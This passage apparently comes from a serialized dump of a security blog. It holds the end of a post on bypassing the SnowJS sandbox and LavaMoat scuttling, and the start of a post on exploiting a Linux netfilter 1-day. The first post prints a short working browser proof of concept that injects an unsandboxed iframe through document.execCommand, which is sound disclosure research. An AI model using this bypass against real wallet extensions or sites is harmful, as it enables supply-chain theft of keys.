Node:",{"type":23,"tag":141,"props":48279,"children":48280},{"style":154},[48281],{"type":29,"value":21704},{"type":23,"tag":141,"props":48283,"children":48284},{"style":828},[48285],{"type":29,"value":48286},"'appendChild'",{"type":23,"tag":141,"props":48288,"children":48289},{"style":154},[48290],{"type":29,"value":480},{"type":23,"tag":141,"props":48292,"children":48293},{"style":828},[48294],{"type":29,"value":48295},"'insertBefore'",{"type":23,"tag":141,"props":48297,"children":48298},{"style":154},[48299],{"type":29,"value":480},{"type":23,"tag":141,"props":48301,"children":48302},{"style":828},[48303],{"type":29,"value":48304},"'replaceChild'",{"type":23,"tag":141,"props":48306,"children":48307},{"style":154},[48308],{"type":29,"value":12939},{"type":23,"tag":141,"props":48310,"children":48311},{"class":143,"line":241},[48312,48317,48321,48326,48330,48335,48339,48344,48348,48353,48357,48362,48366,48370,48374,48379,48383,48387,48391,48396,48400,48404],{"type":23,"tag":141,"props":48313,"children":48314},{"style":750},[48315],{"type":29,"value":48316}," Element:",{"type":23,"tag":141,"props":48318,"children":48319},{"style":154},[48320],{"type":29,"value":21704},{"type":23,"tag":141,"props":48322,"children":48323},{"style":828},[48324],{"type":29,"value":48325},"'innerHTML'",{"type":23,"tag":141,"props":48327,"children":48328},{"style":154},[48329],{"type":29,"value":480},{"type":23,"tag":141,"props":48331,"children":48332},{"style":828},[48333],{"type":29,"value":48334},"'outerHTML'",{"type":23,"tag":141,"props":48336,"children":48337},{"style":154},[48338],{"type":29,"value":480},{"type":23,"tag":141,"props":48340,"children":48341},{"style":828},[48342],{"type":29,"value":48343},"'insertAdjacentHTML'",{"type":23,"tag":141,"props":48345,"children":48346},{"style":154},[48347],{"type":29,"value":480},{"type":23,"tag":141,"props":48349,"children":48350},{"style":828},[48351],{"type":29,"value":48352},"'replaceWith'",{"type":23,"tag":141,"props":48354,"children":48355},{"style":154},[48356],{"type":29,"value":480},{"type":23,"tag":141,"props":48358,"children":48359},{"style":828},[48360],{"type":29,"value":48361},"'insertAdjacentElement'",{"type":23,"tag":141,"props":48363,"children":48364},{"style":154},[48365],{"type":29,"value":480},{"type":23,"tag":141,"props":48367,"children":48368},{"style":828},[48369],{"type":29,"value":48202},{"type":23,"tag":141,"props":48371,"children":48372},{"style":154},[48373],{"type":29,"value":480},{"type":23,"tag":141,"props":48375,"children":48376},{"style":828},[48377],{"type":29,"value":48378},"'before'",{"type":23,"tag":141,"props":48380,"children":48381},{"style":154},[48382],{"type":29,"value":480},{"type":23,"tag":141,"props":48384,"children":48385},{"style":828},[48386],{"type":29,"value":48211},{"type":23,"tag":141,"props":48388,"children":48389},{"style":154},[48390],{"type":29,"value":480},{"type":23,"tag":141,"props":48392,"children":48393},{"style":828},[48394],{"type":29,"value":48395},"'after'",{"type":23,"tag":141,"props":48397,"children":48398},{"style":154},[48399],{"type":29,"value":480},{"type":23,"tag":141,"props":48401,"children":48402},{"style":828},[48403],{"type":29,"value":48193},{"type":23,"tag":141,"props":48405,"children":48406},{"style":154},[48407],{"type":29,"value":12939},{"type":23,"tag":141,"props":48409,"children":48410},{"class":143,"line":262},[48411,48416,48420,48424],{"type":23,"tag":141,"props":48412,"children":48413},{"style":750},[48414],{"type":29,"value":48415}," ShadowRoot:",{"type":23,"tag":141,"props":48417,"children":48418},{"style":154},[48419],{"type":29,"value":21704},{"type":23,"tag":141,"props":48421,"children":48422},{"style":828},[48423],{"type":29,"value":48325},{"type":23,"tag":141,"props":48425,"children":48426},{"style":154},[48427],{"type":29,"value":12939},{"type":23,"tag":141,"props":48429,"children":48430},{"class":143,"line":271},[48431,48436,48440,48445],{"type":23,"tag":141,"props":48432,"children":48433},{"style":750},[48434],{"type":29,"value":48435}," HTMLIFrameElement:",{"type":23,"tag":141,"props":48437,"children":48438},{"style":154},[48439],{"type":29,"value":21704},{"type":23,"tag":141,"props":48441,"children":48442},{"style":828},[48443],{"type":29,"value":48444},"'srcdoc'",{"type":23,"tag":141,"props":48446,"children":48447},{"style":154},[48448],{"type":29,"value":12939},{"type":23,"tag":141,"props":48450,"children":48451},{"class":143,"line":293},[48452],{"type":23,"tag":141,"props":48453,"children":48454},{"style":154},[48455],{"type":29,"value":1357},{"type":23,"tag":32,"props":48457,"children":48458},{},[48459],{"type":29,"value":48460},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":32,"props":48462,"children":48463},{},[48464],{"type":29,"value":48465},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":8287,"props":48467,"children":48469},{"id":48468},"bypassing-snowjs",[48470],{"type":29,"value":48471},"Bypassing SnowJS",{"type":23,"tag":32,"props":48473,"children":48474},{},[48475,48477,48488,48490,48496],{"type":29,"value":48476},"The deprecated ",{"type":23,"tag":55,"props":48478,"children":48481},{"href":48479,"rel":48480},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[59],[48482],{"type":23,"tag":38,"props":48483,"children":48485},{"className":48484},[],[48486],{"type":29,"value":48487},"document.execCommand",{"type":29,"value":48489}," function is used to execute commands inside a ",{"type":23,"tag":38,"props":48491,"children":48493},{"className":48492},[],[48494],{"type":29,"value":48495},"contenteditable",{"type":29,"value":48497}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":131,"props":48499,"children":48502},{"className":48500,"code":48501,"language":30851,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[48503],{"type":23,"tag":38,"props":48504,"children":48505},{"__ignoreMap":7},[48506],{"type":23,"tag":141,"props":48507,"children":48508},{"class":143,"line":144},[48509,48513,48517,48521,48525,48530,48535,48540,48545,48549],{"type":23,"tag":141,"props":48510,"children":48511},{"style":30844},[48512],{"type":29,"value":4480},{"type":23,"tag":141,"props":48514,"children":48515},{"style":449},[48516],{"type":29,"value":29814},{"type":23,"tag":141,"props":48518,"children":48519},{"style":750},[48520],{"type":29,"value":30924},{"type":23,"tag":141,"props":48522,"children":48523},{"style":154},[48524],{"type":29,"value":1377},{"type":23,"tag":141,"props":48526,"children":48527},{"style":828},[48528],{"type":29,"value":48529},"test",{"type":23,"tag":141,"props":48531,"children":48532},{"style":750},[48533],{"type":29,"value":48534}," contenteditable",{"type":23,"tag":141,"props":48536,"children":48537},{"style":750},[48538],{"type":29,"value":48539}," autofocus",{"type":23,"tag":141,"props":48541,"children":48542},{"style":30844},[48543],{"type":29,"value":48544},">\u003C/",{"type":23,"tag":141,"props":48546,"children":48547},{"style":449},[48548],{"type":29,"value":29814},{"type":23,"tag":141,"props":48550,"children":48551},{"style":30844},[48552],{"type":29,"value":4666},{"type":23,"tag":32,"props":48554,"children":48555},{},[48556,48558,48564,48566,48571],{"type":29,"value":48557},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":38,"props":48559,"children":48561},{"className":48560},[],[48562],{"type":29,"value":48563},"insertHTML",{"type":29,"value":48565}," command of ",{"type":23,"tag":38,"props":48567,"children":48569},{"className":48568},[],[48570],{"type":29,"value":48487},{"type":29,"value":48572}," to add a non-sandboxed iframe.",{"type":23,"tag":131,"props":48574,"children":48576},{"className":29831,"code":48575,"language":29833,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[48577],{"type":23,"tag":38,"props":48578,"children":48579},{"__ignoreMap":7},[48580],{"type":23,"tag":141,"props":48581,"children":48582},{"class":143,"line":144},[48583,48587,48591,48596,48600,48605,48609,48613,48617,48622],{"type":23,"tag":141,"props":48584,"children":48585},{"style":750},[48586],{"type":29,"value":31176},{"type":23,"tag":141,"props":48588,"children":48589},{"style":154},[48590],{"type":29,"value":322},{"type":23,"tag":141,"props":48592,"children":48593},{"style":184},[48594],{"type":29,"value":48595},"execCommand",{"type":23,"tag":141,"props":48597,"children":48598},{"style":154},[48599],{"type":29,"value":192},{"type":23,"tag":141,"props":48601,"children":48602},{"style":828},[48603],{"type":29,"value":48604},"'insertHTML'",{"type":23,"tag":141,"props":48606,"children":48607},{"style":154},[48608],{"type":29,"value":480},{"type":23,"tag":141,"props":48610,"children":48611},{"style":449},[48612],{"type":29,"value":6850},{"type":23,"tag":141,"props":48614,"children":48615},{"style":154},[48616],{"type":29,"value":480},{"type":23,"tag":141,"props":48618,"children":48619},{"style":828},[48620],{"type":29,"value":48621},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":141,"props":48623,"children":48624},{"style":154},[48625],{"type":29,"value":2496},{"type":23,"tag":8287,"props":48627,"children":48629},{"id":48628},"impact-on-lavamoat-scuttling",[48630],{"type":29,"value":48631},"Impact On Lavamoat Scuttling",{"type":23,"tag":32,"props":48633,"children":48634},{},[48635],{"type":29,"value":48636},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":32,"props":48638,"children":48639},{},[48640,48642,48647,48649,48654],{"type":29,"value":48641},"For the exploit, the only used functions are in ",{"type":23,"tag":38,"props":48643,"children":48645},{"className":48644},[],[48646],{"type":29,"value":31176},{"type":29,"value":48648}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":38,"props":48650,"children":48652},{"className":48651},[],[48653],{"type":29,"value":35888},{"type":29,"value":48655}," object.",{"type":23,"tag":32,"props":48657,"children":48658},{},[48659,48661,48666],{"type":29,"value":48660},"Consider this example, which runs a scuttled ",{"type":23,"tag":38,"props":48662,"children":48664},{"className":48663},[],[48665],{"type":29,"value":31166},{"type":29,"value":24152},{"type":23,"tag":131,"props":48668,"children":48670},{"className":29831,"code":48669,"language":29833,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[48671],{"type":23,"tag":38,"props":48672,"children":48673},{"__ignoreMap":7},[48674,48710,48747,48790],{"type":23,"tag":141,"props":48675,"children":48676},{"class":143,"line":144},[48677,48681,48685,48689,48693,48697,48701,48706],{"type":23,"tag":141,"props":48678,"children":48679},{"style":750},[48680],{"type":29,"value":31176},{"type":23,"tag":141,"props":48682,"children":48683},{"style":154},[48684],{"type":29,"value":322},{"type":23,"tag":141,"props":48686,"children":48687},{"style":750},[48688],{"type":29,"value":30868},{"type":23,"tag":141,"props":48690,"children":48691},{"style":154},[48692],{"type":29,"value":322},{"type":23,"tag":141,"props":48694,"children":48695},{"style":750},[48696],{"type":29,"value":33442},{"type":23,"tag":141,"props":48698,"children":48699},{"style":160},[48700],{"type":29,"value":1674},{"type":23,"tag":141,"props":48702,"children":48703},{"style":828},[48704],{"type":29,"value":48705}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":141,"props":48707,"children":48708},{"style":154},[48709],{"type":29,"value":1684},{"type":23,"tag":141,"props":48711,"children":48712},{"class":143,"line":180},[48713,48717,48721,48725,48729,48734,48738,48743],{"type":23,"tag":141,"props":48714,"children":48715},{"style":750},[48716],{"type":29,"value":31176},{"type":23,"tag":141,"props":48718,"children":48719},{"style":154},[48720],{"type":29,"value":322},{"type":23,"tag":141,"props":48722,"children":48723},{"style":184},[48724],{"type":29,"value":33467},{"type":23,"tag":141,"props":48726,"children":48727},{"style":154},[48728],{"type":29,"value":192},{"type":23,"tag":141,"props":48730,"children":48731},{"style":828},[48732],{"type":29,"value":48733},"'test'",{"type":23,"tag":141,"props":48735,"children":48736},{"style":154},[48737],{"type":29,"value":19414},{"type":23,"tag":141,"props":48739,"children":48740},{"style":184},[48741],{"type":29,"value":48742},"focus",{"type":23,"tag":141,"props":48744,"children":48745},{"style":154},[48746],{"type":29,"value":1305},{"type":23,"tag":141,"props":48748,"children":48749},{"class":143,"line":205},[48750,48754,48758,48762,48766,48770,48774,48778,48782,48786],{"type":23,"tag":141,"props":48751,"children":48752},{"style":750},[48753],{"type":29,"value":31176},{"type":23,"tag":141,"props":48755,"children":48756},{"style":154},[48757],{"type":29,"value":322},{"type":23,"tag":141,"props":48759,"children":48760},{"style":184},[48761],{"type":29,"value":48595},{"type":23,"tag":141,"props":48763,"children":48764},{"style":154},[48765],{"type":29,"value":192},{"type":23,"tag":141,"props":48767,"children":48768},{"style":828},[48769],{"type":29,"value":48604},{"type":23,"tag":141,"props":48771,"children":48772},{"style":154},[48773],{"type":29,"value":480},{"type":23,"tag":141,"props":48775,"children":48776},{"style":449},[48777],{"type":29,"value":6850},{"type":23,"tag":141,"props":48779,"children":48780},{"style":154},[48781],{"type":29,"value":480},{"type":23,"tag":141,"props":48783,"children":48784},{"style":828},[48785],{"type":29,"value":48621},{"type":23,"tag":141,"props":48787,"children":48788},{"style":154},[48789],{"type":29,"value":2496},{"type":23,"tag":141,"props":48791,"children":48792},{"class":143,"line":218},[48793,48797,48801,48806,48810,48814,48819,48823,48828,48833,48837,48841,48845,48849,48853,48857],{"type":23,"tag":141,"props":48794,"children":48795},{"style":750},[48796],{"type":29,"value":31176},{"type":23,"tag":141,"props":48798,"children":48799},{"style":154},[48800],{"type":29,"value":322},{"type":23,"tag":141,"props":48802,"children":48803},{"style":184},[48804],{"type":29,"value":48805},"getElementsByTagName",{"type":23,"tag":141,"props":48807,"children":48808},{"style":154},[48809],{"type":29,"value":192},{"type":23,"tag":141,"props":48811,"children":48812},{"style":828},[48813],{"type":29,"value":35201},{"type":23,"tag":141,"props":48815,"children":48816},{"style":154},[48817],{"type":29,"value":48818},")[",{"type":23,"tag":141,"props":48820,"children":48821},{"style":472},[48822],{"type":29,"value":2698},{"type":23,"tag":141,"props":48824,"children":48825},{"style":154},[48826],{"type":29,"value":48827},"].",{"type":23,"tag":141,"props":48829,"children":48830},{"style":750},[48831],{"type":29,"value":48832},"contentWindow",{"type":23,"tag":141,"props":48834,"children":48835},{"style":154},[48836],{"type":29,"value":322},{"type":23,"tag":141,"props":48838,"children":48839},{"style":184},[48840],{"type":29,"value":31166},{"type":23,"tag":141,"props":48842,"children":48843},{"style":154},[48844],{"type":29,"value":192},{"type":23,"tag":141,"props":48846,"children":48847},{"style":750},[48848],{"type":29,"value":31176},{"type":23,"tag":141,"props":48850,"children":48851},{"style":154},[48852],{"type":29,"value":322},{"type":23,"tag":141,"props":48854,"children":48855},{"style":750},[48856],{"type":29,"value":31186},{"type":23,"tag":141,"props":48858,"children":48859},{"style":154},[48860],{"type":29,"value":2496},{"type":23,"tag":8287,"props":48862,"children":48864},{"id":48863},"snowjs-patch",[48865],{"type":29,"value":48866},"SnowJS Patch",{"type":23,"tag":32,"props":48868,"children":48869},{},[48870,48872,48879,48881,48888],{"type":29,"value":48871},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":55,"props":48873,"children":48876},{"href":48874,"rel":48875},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[59],[48877],{"type":29,"value":48878},"browser feature within W3C standards",{"type":29,"value":48880},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":55,"props":48882,"children":48885},{"href":48883,"rel":48884},"https://github.com/weizman/Realms-Initialization-Control",[59],[48886],{"type":29,"value":48887},"Here",{"type":29,"value":48889}," is their new proposal.",{"type":23,"tag":24,"props":48891,"children":48893},{"id":48892},"chaining-the-impacts",[48894],{"type":29,"value":48895},"Chaining The Impacts",{"type":23,"tag":32,"props":48897,"children":48898},{},[48899],{"type":29,"value":48900},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":116,"props":48902,"children":48903},{},[48904,48909],{"type":23,"tag":120,"props":48905,"children":48906},{},[48907],{"type":29,"value":48908},"Policy File Bypass",{"type":23,"tag":120,"props":48910,"children":48911},{},[48912],{"type":29,"value":48913},"Scuttling Bypass",{"type":23,"tag":32,"props":48915,"children":48916},{},[48917],{"type":29,"value":48918},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":32,"props":48920,"children":48921},{},[48922],{"type":29,"value":48923},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":24,"props":48925,"children":48926},{"id":27618},[48927],{"type":29,"value":17618},{"type":23,"tag":32,"props":48929,"children":48930},{},[48931],{"type":29,"value":48932},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":29814,"props":48934,"children":48935},{"style":29816},[48936],{"type":23,"tag":2591,"props":48937,"children":48940},{"src":48938,"alt":48939,"style":29822},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":1435,"props":48942,"children":48944},{"className":48943,"dataFootnotes":7},[1438],[48945,48950],{"type":23,"tag":24,"props":48946,"children":48948},{"className":48947,"id":683},[1443],[48949],{"type":29,"value":1446},{"type":23,"tag":116,"props":48951,"children":48952},{},[48953],{"type":23,"tag":120,"props":48954,"children":48955},{"id":1452},[48956,48958,48965,48966],{"type":29,"value":48957},"Excluding SES, which was covered ",{"type":23,"tag":55,"props":48959,"children":48962},{"href":48960,"rel":48961},"https://osec.io/blog/2023-11-01-metamask-snaps",[59],[48963],{"type":29,"value":48964},"in our last article",{"type":29,"value":45},{"type":23,"tag":55,"props":48967,"children":48969},{"href":1480,"ariaLabel":1481,"className":48968,"dataFootnoteBackref":7},[1483],[48970],{"type":29,"value":1486},{"type":23,"tag":1508,"props":48972,"children":48973},{},[48974],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":48976},[48977,48981,48987,48993,48994,48995],{"id":17627,"depth":180,"text":17630,"children":48978},[48979,48980],{"id":26,"depth":205,"text":30},{"id":45598,"depth":205,"text":45601},{"id":46354,"depth":180,"text":46357,"children":48982},[48983,48984,48985,48986],{"id":46605,"depth":205,"text":46608},{"id":47080,"depth":205,"text":47083},{"id":47737,"depth":205,"text":47740},{"id":47860,"depth":205,"text":47863},{"id":47978,"depth":180,"text":47981,"children":48988},[48989,48990,48991,48992],{"id":48106,"depth":205,"text":48109},{"id":48468,"depth":205,"text":48471},{"id":48628,"depth":205,"text":48631},{"id":48863,"depth":205,"text":48866},{"id":48892,"depth":180,"text":48895},{"id":27618,"depth":180,"text":17618},{"id":683,"depth":180,"text":1446},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":49000,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":49001,"description":49002,"author":49003,"image":49004,"date":49006,"isFeatured":15,"tags":49007,"onBlogPage":15,"body":49010,"_type":1522,"_id":59391,"_source":1524,"_file":59392,"_stem":59393,"_extension":1527},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":49005,"height":7944,"width":4397},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[49008,49009],"kernal","linux",{"type":20,"children":49011,"toc":59359},[49012,49025,49039,49044,49050,49060,49065,49071,49076,49094,49108,49117,49150,49155,49161,49180,49213,49219,49232,49442,49509,50073,50092,50317,50376,50382,50402,50442,50630,50635,50786,50842,50847,51361,51380,51649,51675,52184,52251,52257,52293,52298,52564,52597,52609,52636,52648,52653,52659,52680,52686,52707,52730,53562,53568,53608,54148,54159,54193,54260,54314,54546,54552,54596,55060,55066,55077,55107,55190,55195,55200,55236,55288,55319,55874,55880,55897,55903,55908,55914,55942,56135,56155,56171,56766,56772,56807,56830,56842,56848,56876,57473,57498,58467,58478,58491,58504,59270,59284,59290,59302,59308,59336,59341,59345,59350,59355],{"type":23,"tag":32,"props":49013,"children":49014},{},[49015,49017,49024],{"type":29,"value":49016},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":55,"props":49018,"children":49021},{"href":49019,"rel":49020},"https://google.github.io/security-research/kernelctf/rules.html",[59],[49022],{"type":29,"value":49023},"KernelCTF VRP",{"type":29,"value":322},{"type":23,"tag":32,"props":49026,"children":49027},{},[49028,49030,49037],{"type":29,"value":49029},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":55,"props":49031,"children":49034},{"href":49032,"rel":49033},"https://github.com/conlonialC",[59],[49035],{"type":29,"value":49036},"lonial con",{"type":29,"value":49038},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":32,"props":49040,"children":49041},{},[49042],{"type":29,"value":49043},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":24,"props":49045,"children":49047},{"id":49046},"the-kernel",[49048],{"type":29,"value":49049},"The kernel",{"type":23,"tag":32,"props":49051,"children":49052},{},[49053,49055],{"type":29,"value":49054},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":2591,"props":49056,"children":49059},{"alt":49057,"src":49058},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":32,"props":49061,"children":49062},{},[49063],{"type":29,"value":49064},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":8287,"props":49066,"children":49068},{"id":49067},"kernel-exploitation",[49069],{"type":29,"value":49070},"Kernel exploitation",{"type":23,"tag":32,"props":49072,"children":49073},{},[49074],{"type":29,"value":49075},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":15362,"props":49077,"children":49078},{},[49079,49084,49089],{"type":23,"tag":120,"props":49080,"children":49081},{},[49082],{"type":29,"value":49083},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":120,"props":49085,"children":49086},{},[49087],{"type":29,"value":49088},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":120,"props":49090,"children":49091},{},[49092],{"type":29,"value":49093},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":32,"props":49095,"children":49096},{},[49097,49099,49106],{"type":29,"value":49098},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":55,"props":49100,"children":49103},{"href":49101,"rel":49102},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[59],[49104],{"type":29,"value":49105},"blog post",{"type":29,"value":49107}," to become more familiar with the topic.",{"type":23,"tag":24,"props":49109,"children":49111},{"id":49110},"nf_tables",[49112],{"type":23,"tag":38,"props":49113,"children":49115},{"className":49114},[],[49116],{"type":29,"value":49110},{"type":23,"tag":32,"props":49118,"children":49119},{},[49120,49125,49127,49133,49134,49140,49142,49148],{"type":23,"tag":38,"props":49121,"children":49123},{"className":49122},[],[49124],{"type":29,"value":49110},{"type":29,"value":49126}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":55,"props":49128,"children":49131},{"href":49129,"rel":49130},"https://pwning.tech/nftables",[59],[49132],{"type":29,"value":687},{"type":29,"value":480},{"type":23,"tag":55,"props":49135,"children":49138},{"href":49136,"rel":49137},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[59],[49139],{"type":29,"value":1049},{"type":29,"value":49141},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":38,"props":49143,"children":49145},{"className":49144},[],[49146],{"type":29,"value":49147},"nf_table",{"type":29,"value":49149}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":32,"props":49151,"children":49152},{},[49153],{"type":29,"value":49154},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":8287,"props":49156,"children":49158},{"id":49157},"transactions",[49159],{"type":29,"value":49160},"Transactions",{"type":23,"tag":32,"props":49162,"children":49163},{},[49164,49166,49171,49173,49178],{"type":29,"value":49165},"A transaction is an interaction that updates ",{"type":23,"tag":38,"props":49167,"children":49169},{"className":49168},[],[49170],{"type":29,"value":49110},{"type":29,"value":49172}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":38,"props":49174,"children":49176},{"className":49175},[],[49177],{"type":29,"value":49110},{"type":29,"value":49179}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":15362,"props":49181,"children":49182},{},[49183,49193,49203],{"type":23,"tag":120,"props":49184,"children":49185},{},[49186,49191],{"type":23,"tag":3998,"props":49187,"children":49188},{},[49189],{"type":29,"value":49190},"Control plane",{"type":29,"value":49192},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":120,"props":49194,"children":49195},{},[49196,49201],{"type":23,"tag":3998,"props":49197,"children":49198},{},[49199],{"type":29,"value":49200},"Commit path",{"type":29,"value":49202},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":120,"props":49204,"children":49205},{},[49206,49211],{"type":23,"tag":3998,"props":49207,"children":49208},{},[49209],{"type":29,"value":49210},"Abort path",{"type":29,"value":49212},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":24,"props":49214,"children":49216},{"id":49215},"vulnerability-details",[49217],{"type":29,"value":49218},"Vulnerability details",{"type":23,"tag":32,"props":49220,"children":49221},{},[49222,49224,49230],{"type":29,"value":49223},"Moving on, let's check out the ",{"type":23,"tag":55,"props":49225,"children":49228},{"href":49226,"rel":49227},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[59],[49229],{"type":29,"value":2902},{"type":29,"value":49231}," that fixed the bug.",{"type":23,"tag":131,"props":49233,"children":49235},{"className":38832,"code":49234,"language":38834,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[49236],{"type":23,"tag":38,"props":49237,"children":49238},{"__ignoreMap":7},[49239,49247,49255,49263,49271,49279,49286,49294,49301,49309,49317,49325,49333,49341,49349,49357,49365,49373,49381,49389,49396,49404,49412,49420,49427,49434],{"type":23,"tag":141,"props":49240,"children":49241},{"class":143,"line":144},[49242],{"type":23,"tag":141,"props":49243,"children":49244},{"style":449},[49245],{"type":29,"value":49246},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":141,"props":49248,"children":49249},{"class":143,"line":180},[49250],{"type":23,"tag":141,"props":49251,"children":49252},{"style":154},[49253],{"type":29,"value":49254},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":141,"props":49256,"children":49257},{"class":143,"line":205},[49258],{"type":23,"tag":141,"props":49259,"children":49260},{"style":449},[49261],{"type":29,"value":49262},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":141,"props":49264,"children":49265},{"class":143,"line":218},[49266],{"type":23,"tag":141,"props":49267,"children":49268},{"style":449},[49269],{"type":29,"value":49270},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":141,"props":49272,"children":49273},{"class":143,"line":227},[49274],{"type":23,"tag":141,"props":49275,"children":49276},{"style":154},[49277],{"type":29,"value":49278},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx 